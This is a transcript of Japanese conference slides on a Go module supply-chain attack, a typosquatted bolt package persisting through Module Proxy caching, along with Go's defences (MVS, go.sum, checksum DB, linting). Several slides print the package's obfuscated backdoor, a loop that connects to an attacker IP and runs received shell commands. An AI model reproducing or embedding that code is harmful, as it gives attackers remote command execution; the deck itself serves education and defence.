Upgrade to Pro — share decks privately, control downloads, hide ads and more …

サプライチェーン攻撃に学ぶModuleの仕組みと セキュリティ対策

Avatar for kuro kuro
September 26, 2025

サプライチェーン攻撃に学ぶModuleの仕組みと セキュリティ対策

GoConference2025で使ったスライドです。

Avatar for kuro

kuro

September 26, 2025

More Decks by kuro

Other Decks in Technology

Transcript

  1. 発覚した事件 • 2025年2月、Socket Securityが報告 • 3年以上潜伏していた悪意のあるパッ ケージ ◦ github.com/boltdb-go/bolt (×)

    ◦ github.com/boltdb/bolt (◦) • タイポスクワッティングを悪用していた。 https://socket.dev/blog/malicious-package-ex ploits-go-module-proxy-caching-for-persistence 5
  2. Module Proxyとは - GOPROXYプロトコルを実装するHTTPサーバー。 - 環境変数 GOPROXY で設定できる。デフォルト値は `https://proxy.golang.org,direct`で、Goチームは、 proxy.golang.orgで提供されるモジュールミラーを管理して

    いる。 - goコマンドは、バージョン情報(メタデータ)、go.modファイ ル、およびモジュールzipファイル(実際のコード)をModule Proxyからダウンロードする。 7
  3. Module Proxyのメリット - 高速化と効率化 - プロキシを使用すると、goコマンドは必要な特定のモジュールのメタデータや ソースコードのみを要求するため、より速くなる。 - 依存関係の消失から保護 -

    メタデータとソースコードを独自のストレージシステムにキャッシュしてくれてる ので、オリジナルの場所からなくなっても使用し続けられる。 8
  4. 1. Module Proxyの不変性 > A module proxy must always serve

    the same content for successful responses for $base/$module/$version.mod and $base/$module/$version.zip queries. – Go Modules Reference(https://go.dev/ref/mod) → 特定のバージョンに対するgo.modファイル ($base/$module/@v/$version.mod) とモジュールzipファイル ($base/$module/@v/$version.zip) の成功した応答に対しては、常に同じコン テンツを提供する。 9
  5. Proxyのキャッシュメカニズム 開発者: go get github.com/hoge/[email protected] ↓ proxy.golang.org ├─ キャッシュ済み? │

    ├─ Yes → 即座に返す(GitHubを見ない) │ └─ No → GitHubから取得 │ ↓ │ キャッシュ │ ↓ │ 開発者に返す └─ 以降、キャッシュを配布し続ける 一度キャッシュされたら、オリジナルの変更は反映されない 10
  6. 2. GitHubのタグ書き換えのタイミング 成功する攻撃😈 1. 悪意のあるコードをGitHubに公開 2. 誰かがgo getでダウンロード 3. Module

    Proxyが悪意のある版をキャッシュ 4. 攻撃者がGitHubのタグを「クリーンなコード」に書き換え 結果: - GitHub上 → 無害なコードに見える - Module Proxy → 悪意のある版を配布し続ける 11
  7. 2. GitHubのタグ書き換えのタイミング 失敗する攻撃👿 1. クリーンなコードをGitHubに公開 2. 誰かがgo getでダウンロード 3. Module

    Proxyがクリーンな版をキャッシュ 4. 攻撃者がGitHubを悪意のあるコードに書き換え 結果: - GitHub上 → 悪意のあるコードが見える - Module Proxy → クリーンな版を配布し続ける 12
  8. 3. 難読化されたバックドアコード 攻撃者が仕込んだコード(簡略版) func ApiInit() {  go func() { defer

    func() { // 関数がパニックした場合、30秒後に再開 if r := recover(); r != nil { time.Sleep(30 * time.Second) ApiInit() } }() for { d := net.Dialer{Timeout: 10 * time.Second} // _r()を使用して隠されたIPアドレスとポートを構築 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) if err != nil { // 接続が失敗した場合、即座の検出を避けるため30秒後に再試行 time.Sleep(30 * time.Second) continue } 14
  9.     // リモートコマンド実行ループ // 受信コマンドを読み取り、実行 for { message, _ :=

    bufio.NewReader(conn).ReadString('\n') args, err := shellwords.Parse(strings.TrimSuffix(message, "\n")) if err != nil { fmt.Fprintf(conn, "Parse err: %s\n", err) continue } // 任意のシェルコマンドの実行 var out []byte if len(args) == 1 { out, err = exec.Command(args[0]).Output() } else { out, err = exec.Command(args[0], args[1:]...).Output() } // コマンド出力またはエラーを脅威アクターに送り返す if err != nil { fmt.Fprintf(conn, "%s\n", err) } fmt.Fprintf(conn, "%s\n", out) } } } 15
  10. 巧妙な難読化 const ( MaxBatchSize = 16384 MaxMemSize = 64966512577 MaxIndex

    = 6179852731 MaxPort = 2060272 ) func _r(s string) string { ret := strings.ReplaceAll(s, "5", ".") ret = strings.ReplaceAll(ret, "6", "") ret = strings.ReplaceAll(ret, "7", "") return ret } 16
  11. 巧妙な難読化 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":"

    + strconv.Itoa(MaxPort))) strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)) → "649665125776179852731:2060272" _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)) → 5を . に置き換え、6と7を削除する →"49.12.198[.]231:20022" →このIPアドレスのサーバーに接続して、リモートでコマンドを実行する 17
  12.  Module Proxyについて(おさらい) > A module proxy must always serve the

    same content for successful responses for $base/$module/$version.mod and $base/$module/$version.zip queries. – Go Modules Reference(https://go.dev/ref/mod) →特定のバージョンに対するgo.modファイル ($base/$module/@v/$version.mod) とモジュールzipファイル ($base/$module/@v/$version.zip) の成功した応答に対しては、常に同じコ ンテンツを提供する。 →一度キャッシュされたら、同じものが返ってくる(配布の不変性) 19
  13. go.modとMVSを理解する module github.com/myproject go 1.23 require ( github.com/gin-gonic/gin v1.9.0 github.com/boltdb/bolt

    v1.3.1 // バージョンを指定 ) • モジュール名、Goバージョン、依存関係を定義 • 最小バージョン選択 - MVS(Minimal Version Selection) で依存を解決 go.modの例 20
  14. MVS(最小バージョン選択)とは myapp ├── パッケージA v1.2以上が必要 └── パッケージB v1.1以上が必要 パッケージA v1.2

    └── パッケージC v1.3以上が必要 パッケージB v1.1 └── パッケージC v1.5以上が必要 利用可能なバージョン: パッケージA: v1.2, v1.3, v1.4 パッケージB: v1.1, v1.2 パッケージC: v1.3, v1.4, v1.5, v1.6(最新) Go の MVS:パッケージC v1.5を選択 npmとか: パッケージC v1.6(最新)を選択 22
  15. go.sumについて go.sumの例(2行と決まってはない) • go.sumファイルの各行は、モジュールのモジュールパス、バージョン、ハッシュ (チェックサム)で構成されている。→依存関係の整合性検証のため 1行目: モジュール全体のハッシュ • 実際にビルド・テストする時に検証 2行目:

    go.modファイルだけのハッシュ • 依存関係の解決時(MVS実行時)に使用する github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14= github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M= 24
  16. go.sumについて 1. ハッシュの検証 a. goコマンドがモジュールキャッシュにモジュールをダウンロードするとき、ダウンロードされ たファイル(.modファイルと.zipファイル)からハッシュを計算し、それをメインモジュール のgo.sumに記録されているハッシュと比較する。 b. 一致しない場合、セキュリティエラーを報告し、そのダウンロードされたファイルをモジュー ルキャッシュに追加しない。

    2. チェックサムデータベースとの連携 a. チェックサムデータベース(デフォルトでは sum.golang.org)は、すべてのモジュールバー ジョンについて、go.sumのグローバルなソースとして機能する。 b. go.sumにハッシュがまだ存在しない場合、 goコマンドはデフォルトでこのグローバルデー タベースに問い合わせてハッシュを検証する。 c. (基盤には、Merkle Treeと呼ばれる改ざん防止の特性を持つ構造がある。) 25
  17. 各レイヤーでのセキュリティ ⓪:パッケージ名の正しさ 🥺保護なし(開発者の注意に依存) ↓ ← 今回のタイポスクワット攻撃はここ!! ①: バージョン選択 🫰go.mod +

    MVS ↓ ②: 配布の不変性保証 🫰Module Proxy ↓ ③: グローバル検証 🫰チェックサムDB ↓ ④: ローカル検証 🫰 go.sum 30
  18. lintで検知する • gci等のツールでimportを整理 して見やすくする。→レビューの 際に確認しやすいように。 • (タイポ自体を検知するようない い感じのリンターはない。。。) import (

    "fmt" go "github.com/golang" "github.com/daixiang0/gci" _ "github.com/daixiang0/gci/blank" _ "github.com/golang/blank" . "github.com/daixiang0/gci/dot" . "github.com/golang/dot" ) 34
  19. 参考資料 • Go Modules Reference • Module Mirror and Checksum

    Database • go.mod file reference - The Go Programming Language • Go Supply Chain Attack: Malicious Package Exploits Go Module Proxy Caching for Persistence • research!rsc: Transparent Logs for Skeptical Clients • GitHub - daixiang0/gci: GCI, a tool that control golang package import order and make it always deterministic. • Go 公式の脆弱性管理システム 40